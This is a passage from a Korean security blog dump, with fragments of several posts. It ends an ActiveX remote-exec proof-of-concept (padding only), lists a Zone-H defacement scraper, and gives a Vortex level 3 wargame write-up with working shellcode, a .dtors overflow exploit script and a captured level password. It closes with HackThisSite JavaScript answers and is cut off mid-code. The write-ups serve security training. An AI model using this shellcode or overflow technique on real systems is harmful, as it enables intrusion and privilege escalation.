xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\u0026#34;\u0026gt; \u0026lt;/object\u0026gt; ","date":"2010-01-18T04:42:46Z","permalink":"/2010/01/18/adobe-getplus-get_atlcom-v16248-ctivex-remote-exec-0day-poc/","title":"Adobe GetPlus get_atlcom v1.6.2.48 ctiveX Remote Exec 0day POC"},{"content":"이전에 만들어 놓았던 코드를 좀 다듬어서 올려 봅니다.\nZone-H.kr 사이트는 Zone-H 사이트에 Defacing 당해 올라오는 리스트 중 국내 사이트만 추려서 보여주는 사이트 입니다. 이 사이트에 대한 간단한 소개 인터뷰가 있어 링크를 걸어 봅니다. [링크]\n제가 작성한 스크립트는 다음과 같은 기능을 수행합니다.\n1 2 3 1. 특정일에 Defacing 된 사이트 리스트 출력 2. 특정 기간을 지정하여 Defacing 된 사이트 리스트 출력 3. 위 1, 2번 옵션을 사용하여 나오는 리스트 중 특정 문자열이 들어간 도메인만 출력 사용방법은 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 1. 특정일에 Defacing 된 사이트 리스트 출력 (2009년 1월 1일) - Search_ZoneH.py -s 2009-01-01 2. 특정 기간을 지정하여 Defacing 된 사이트 리스트 출력 (2009년 1월 1일 ~ 2009년 1월 31) - Search_ZoneH.py -s 2009-01-01 -e 2009-01-31 3. 위 1, 2번 옵션을 사용하여 나오는 리스트 중 특정 문자열이 들어간 도메인만 출력 (2009년 1월 1일 ~ 2009년 1월 31 중 도메인 이름에 \u0026#34;ac.kr\u0026#34; 이 들어가는 리스트만 출력) - Search_ZoneH.py -s 2009-01-01 -e 2009-01-31 -f ac.kr 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 #!/usr/bin/python import httplib, re, sys, optparse from datetime import date def main(): usage = \u0026#34;Usage: %prog [options] YYYY-MM-DD\u0026#34; p = optparse.OptionParser(usage) p.add_option(\u0026#39;-s\u0026#39;, \u0026#39;--start\u0026#39;, help=\u0026#39;Ex) 2010-01-02\u0026#39;) p.add_option(\u0026#39;-e\u0026#39;, \u0026#39;--end\u0026#39;, help=\u0026#39;Ex) 2010-01-02\u0026#39;) p.add_option(\u0026#39;-f\u0026#39;, \u0026#39;--find\u0026#39;, help=\u0026#39;Search Domain\u0026#39;) options, args = p.parse_args() if options.start == None: p.error(\u0026#39;Check Option plez....\u0026#39;) sys.exit(1) if options.end == None: # Only -s option. Parser1(options.start, options.find) elif options.start != None and options.end != None: Parser2(options.start, options.end, options.find) def Parser1(str, find): option1 = str[0:4] option2 = str[0:7] option3 = str r = Search(option1, option2, option3) flag = 1 for x in r: if find != None: try: if re.search(find, x).group() == find: if flag == 1: print \u0026#39;\u0026#39; print \u0026#39;+------------------------------+\u0026#39; print \u0026#39;| \u0026#39; + option3 + \u0026#39; |\u0026#39; print \u0026#39;+------------------------------+\u0026#39; flag = 0 print x except: continue else: if flag == 1: print \u0026#39;\u0026#39; print \u0026#39;+------------------------------+\u0026#39; print \u0026#39;| \u0026#39; + option3 + \u0026#39; |\u0026#39; print \u0026#39;+------------------------------+\u0026#39; flag = 0 print x def Parser2(str1, str2, find): start_y = str1[0:4] start_m = str1[5:7] start_d = str1[8:10] end_y = str2[0:4] end_m = str2[5:7] end_d = str2[8:10] start = date(int(start_y), int(start_m), int(start_d)) end = date(int(end_y), int(end_m), int(end_d)) while 1: option = str(start) option1 = option[0:4] option2 = option[0:7] option3 = option r = Search(option1, option2, option3) flag = 1 for x in r: if find != None: try: if re.search(find, x).group() == find: if flag == 1: print \u0026#39;\u0026#39; print \u0026#39;+------------------------------+\u0026#39; print \u0026#39;| \u0026#39; + str(start) + \u0026#39; |\u0026#39; print \u0026#39;+------------------------------+\u0026#39; flag = 0 print x except: continue else: if flag == 1: print \u0026#39;\u0026#39; print \u0026#39;+------------------------------+\u0026#39; print \u0026#39;| \u0026#39; + str(start) + \u0026#39; |\u0026#39; print \u0026#39;+------------------------------+\u0026#39; flag = 0 print x if start == end: sys.exit(1) flag = 1 try: start = start.replace(day = start.day + 1) except: try: start = start.replace(month = start.month + 1, day = 1) except: start = start.replace(year = start.year + 1, month = 1, day = 1) def Search(option1, option2, option3): if option1 == \u0026#39;2010\u0026#39;: option1 = \u0026#39;/\u0026#39; conn = httplib.HTTPConnection(\u0026#39;zone-h.kr\u0026#39;) conn.request(\u0026#39;GET\u0026#39;, \u0026#39;/korea_Defaced/\u0026#39; + option1 + \u0026#39;/\u0026#39; + option2 + \u0026#39;/\u0026#39; + option3 + \u0026#39;/\u0026#39;) r1 = conn.getresponse() data = r1.read() search = re.findall(\u0026#39;\u0026lt;a href=.+ target=new\u0026gt;\u0026#39;, data) list = [] for x in search: tmp = re.sub(\u0026#39;\u0026lt;a href=\u0026#39;, \u0026#39;\u0026#39;, x) list.append(re.sub(\u0026#39; target=new\u0026gt;\u0026#39;, \u0026#39;\u0026#39;, tmp)) return list if __name__ == \u0026#34;__main__\u0026#34;: main() Zone-H 사이트에 부하를 주려나요? -_- 혹시라도 Zone-H.kr 사이트 관리자분께서 이 포스팅을 보시게 된다면 보시고 사이트에 부하가 될거 같으면 코멘트 달아주시기 바랍니다...\n","date":"2010-01-16T04:17:37Z","permalink":"/2010/01/16/zone-hkr-%EA%B2%80%EC%83%89%EA%B8%B0/","title":"Zone-H.kr 검색기"},{"content":"http://www.overthewire.org/wargames/vortex/level3.shtml\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 /* * 0xbadc0ded.org Challenge #02 (2003-07-08) * * Joel Eriksson \u0026lt;je@0xbadc0ded.org\u0026gt; */ #include \u0026lt;string.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; unsigned long val = 31337; unsigned long *lp = \u0026amp;val; int main(int argc, char **argv) { unsigned long **lpp = \u0026amp;lp, *tmp; char buf[128]; if (argc != 2) exit(1); strcpy(buf, argv[1]); if (((unsigned long) lpp \u0026amp; 0xffff0000) != 0x08040000) exit(2); tmp = *lpp; **lpp = (unsigned long) \u0026amp;buf; *lpp = tmp; exit(0); } 위 코드에서 BOF가 발생한다. 우선 문제를 풀기 전 해당 문제에서 주어진 문서를 읽어보면 .dtors 섹션이 나온다. 즉 .dtors 섹션을 이용하여 문제를 풀라는 것으로 보인다.\n.dtors 섹션이란? (출처 : 해킹과 보안 제 2 호) .dtors 섹션은 gcc로 컴파일 했을 때 사용한다. gcc는 함수들에 대해 몇가지 속성을 제공하는데 그 중 해킹에서 흥미로운 것은 constructor와 desuructor 속성인데 ELF 실행 이미지에는 .ctors와 .dtors 섹션으로 나타난다. constructor 속성을 가진 함수들은 main() 함수 이전에 실행되고 destuctor 속성을 가진 함수들은 main() 함수가 끝난 후에 실행된다.\n.dtors 섹션은 쓰기가 가능하기 때문에 이 영역을 덮어쓰는 공격자가 원하는 주소로 jmp 할 수 있다. .dtors 는 시작영역과 끝 영역의 범위가 8바이트 이다. 공격에 사용되는 주소값은 objdump를 통해 나오는 주소에 4바이트를 더한 주소이다.\n[Example]\n1 2 3 4 5 6 7 vortex3@games ~ $ objdump -s -j .dtors /vortex/level3 /vortex/level3: file format elf32-i386 Contents of section .dtors: 8049574 ffffffff 00000000 ........ vortex3@games ~ $ 그럼 buf 변수에 [쉘코드 + NOP + .dtors] 형태로 공격을 진행해 보도록 하자. 쉘코드는 아래 사이트에 나온 쉘코드를 사용하였다. http://milw0rm.com/shellcode/8972\n먼저 덮어 쓸 .dtors 영역 확인을 해보자.\n1 2 3 4 5 6 7 8 9 vortex3@games ~ $ objdump -s -j .dtors /vortex/level3 /vortex/level3: file format elf32-i386 Contents of section .dtors: 8049574 ffffffff 00000000 ........ vortex3@games ~ $ objdump -s /vortex/level3 | grep 78950408 8049490 00000000 00000000 78950408 697a0000 ........x...iz.. vortex3@games ~ $ 공격할 주소는 0x08049498 임을 확인 하였다. 이제 공격을 해보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #!/usr/bin/python import os from struct import pack def main(): shellcode = \u0026#39;\u0026#39; shellcode += \u0026#39;\\x6a\\x31\\x58\\x99\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x6a\\x46\\x58\\xcd\\x80\\xb0\\x0b\u0026#39; shellcode += \u0026#39;\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x89\\xd1\\xcd\\x80\u0026#39; payload = \u0026#39;\u0026#39; payload += shellcode payload += \u0026#39;\\x90\u0026#39;*106 payload += pack(\u0026#39;\u0026lt;L\u0026#39;, 0x08049498) os.execl(\u0026#39;/vortex/level3\u0026#39;, \u0026#39;level3\u0026#39;, payload) if __name__ == \u0026#39;__main__\u0026#39;: print \u0026#39;[+] Strat!\u0026#39; main() 1 2 3 4 5 6 7 vortex3@games /tmp/byj $ ./ex.py bash: /home/vortex/vortex4/.bashrc: Permission denied vortex4@games /tmp/byj $ id uid=506(vortex4) gid=505(vortex3) groups=505(vortex3) vortex4@games /tmp/byj $ cat /etc/vortex_pass/vortex4 2YmgK1=jw vortex4@games /tmp/byj $ ","date":"2010-01-07T20:00:35Z","permalink":"/2010/01/07/vortex-level-3/","title":"Vortex - Level 3"},{"content":"Level 1 - Idiot Test\n1 2 3 4 5 6 7 8 9 10 11 \u0026lt;script language=Javascript\u0026gt; function check(x) { if (x == cookies) { alert(win!); window.location += ?lvl_password=+x; } else { alert(Fail D:); } } 위와 같은 코드가 있다. 답은 당연히 cookies\nLevel 2 - Disable Javascript 링크를 누르면 계속해서 fail.php 페이지로 넘어간다. 따라서 문제 페이지의 자바스크립트가 실행되기 전 스크립트를 확인하면 다음과 같다.\n1 2 3 4 \u0026lt;script language=javascript\u0026gt; window.location=http://www.hackthissite.org/missions/javascript/2/fail.php; \u0026lt;/script\u0026gt; \u0026lt;a href=/missions/javascript/2/index.php?challengePass=B8n7OV\u0026gt;Click here to win.\u0026lt;/a\u0026gt; 따라서 저 링크로만 가면 성공.\nLevel 3 - Math time!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 var foo = 5 + 6 * 7 var bar = foo % 8 var moo = bar * 2 var rar = moo / 3 function check(x) { if (x.length == moo) { alert(win!); window.location += ?lvl_password=+x; } else { alert(fail D:); } } 계산을 해보면 moo 는 14이다. 따라서 14자 아무 값이나 넣으면 성공.\nLevel 4 - Var?\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;script language=Javascript\u0026gt; RawrRawr = moo; function check(x) { +RawrRawr+ == hack_this_site if (x == \\+RawrRawr+\\) { alert(Rawr! win!); window.location = ../../../missions/javascript/4/?lvl_password=+x; } else { alert(Rawr, nope, try again!); } } \u0026lt;/script\u0026gt; 답은 moo\nLevel 5 - Escape!\n1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;script language=Javascript\u0026gt; moo = unescape(\u0026#39;%69%6C%6F%76%65%6D%6F%6F\u0026#39;); function check (x) { if (x == moo) { alert(Ahh.. so that\u0026#39;s what she means); window.location = ../../../missions/javascript/5/?lvl_password=+x; } else { alert(Nope... try again!); } } \u0026lt;/script\u0026gt; escape 된 문자를 unescape 해보면 ilovemoo 이다.\nLevel 6 - go go away .js\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 \u0026lt;script type=text/javascript src=http://hackthissite.org/missions/javascript/6/checkpass\u0026gt; \u0026lt;/script\u0026gt; \u0026lt;script language=javascript\u0026gt; RawrRawr = moo; function check(x) { +RawrRawr+ == hack_this_site if (x == \\+RawrRawr+\\) { alert(Rawr! win!); window.location = about:blank; } else { alert(Rawr, nope, try again!); } } function checkpassw(moo) { RawrRawr = moo; checkpass(RawrRawr); } \u0026lt;/script\u0026gt; 코드를 보면 맨 상단에 어떤 주소가 있다. 저 주소로 가보면 다시 새로운 스크립트가 나온다. 그 코드를 살펴보면 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 dairycow=moo; moo = pwns; rawr = moo; function checkpass(pass) { if(pass == rawr+ +moo) { alert(How did you do that??? Good job!); window.location = ../../../missions/javascript/6/?lvl_password=+pass; } else { alert(Nope, try again); } } 즉 답은 moo pwns 이다.\nLevel 7 - JS Obfuscation. FTW!\n1 2 3 \u0026lt;script language=javascript\u0026gt; var 